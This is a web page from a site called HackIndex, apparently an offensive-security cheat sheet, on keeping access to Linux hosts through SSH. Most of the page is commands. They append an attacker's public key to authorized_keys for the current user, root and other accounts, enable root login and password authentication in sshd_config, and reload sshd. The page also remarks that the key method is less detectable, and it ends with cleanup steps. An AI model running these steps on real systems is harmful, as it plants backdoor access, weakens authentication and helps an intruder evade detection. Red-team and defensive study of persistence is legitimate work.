Skip to content
HackIndex logo

HackIndex

Linux SSH Authorized Keys Persistence

2 min read Jul 14, 2026

Adding your public key to a user's authorized_keys file gives passwordless SSH access that survives password changes, reboots, and session termination. It requires write access to the target user's home directory — either directly or through a path traversal, file write vulnerability, or elevated shell.

Generate a key pair on your attack box

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f ~/.ssh/persistence_key -N ''
cat ~/.ssh/persistence_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali

Add key to target user

user@host ~ $ # Create .ssh directory if it doesn't exist
user@host ~ $ mkdir -p ~/.ssh
user@host ~ $ chmod 700 ~/.ssh
 
user@host ~ $ # Add your public key
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> ~/.ssh/authorized_keys
user@host ~ $ chmod 600 ~/.ssh/authorized_keys
 
user@host ~ $ # For root (requires root shell)
user@host ~ $ mkdir -p /root/.ssh
user@host ~ $ chmod 700 /root/.ssh
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /root/.ssh/authorized_keys
user@host ~ $ chmod 600 /root/.ssh/authorized_keys
 
user@host ~ $ # For another user
user@host ~ $ mkdir -p /home/$USER/.ssh
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /home/$USER/.ssh/authorized_keys
user@host ~ $ chmod 600 /home/$USER/.ssh/authorized_keys
user@host ~ $ chown -R $USER:$USER /home/$USER/.ssh
┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/persistence_key $USER@$TARGET_IP
ssh -i ~/.ssh/persistence_key root@$TARGET_IP

SSH config persistence

Beyond authorized_keys, the sshd configuration can be modified to allow root login or password authentication if currently disabled — making other accounts or methods viable for re-entry.

user@host ~ $ # Check current SSH config
user@host ~ $ grep -E 'PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile' /etc/ssh/sshd_config
 
user@host ~ $ # Enable root login (requires root)
user@host ~ $ sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
 
user@host ~ $ # Enable password authentication
user@host ~ $ sed -i 's/^PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
 
user@host ~ $ # Reload sshd
user@host ~ $ systemctl reload sshd
user@host ~ $ service sshd reload

SSH config changes are visible and often monitored. The authorized_keys method is less detectable because it adds a key to an existing file rather than modifying a system configuration file. On systems with AuthorizedKeysCommand configured, the static authorized_keys file may be bypassed — check the sshd config before relying on this technique.

Cleaning up

user@host ~ $ # Remove specific key from authorized_keys
user@host ~ $ grep -v 'attacker@kali' ~/.ssh/authorized_keys > /tmp/ak_clean
user@host ~ $ mv /tmp/ak_clean ~/.ssh/authorized_keys
 
user@host ~ $ # Restore sshd config
user@host ~ $ sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
user@host ~ $ sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
user@host ~ $ systemctl reload sshd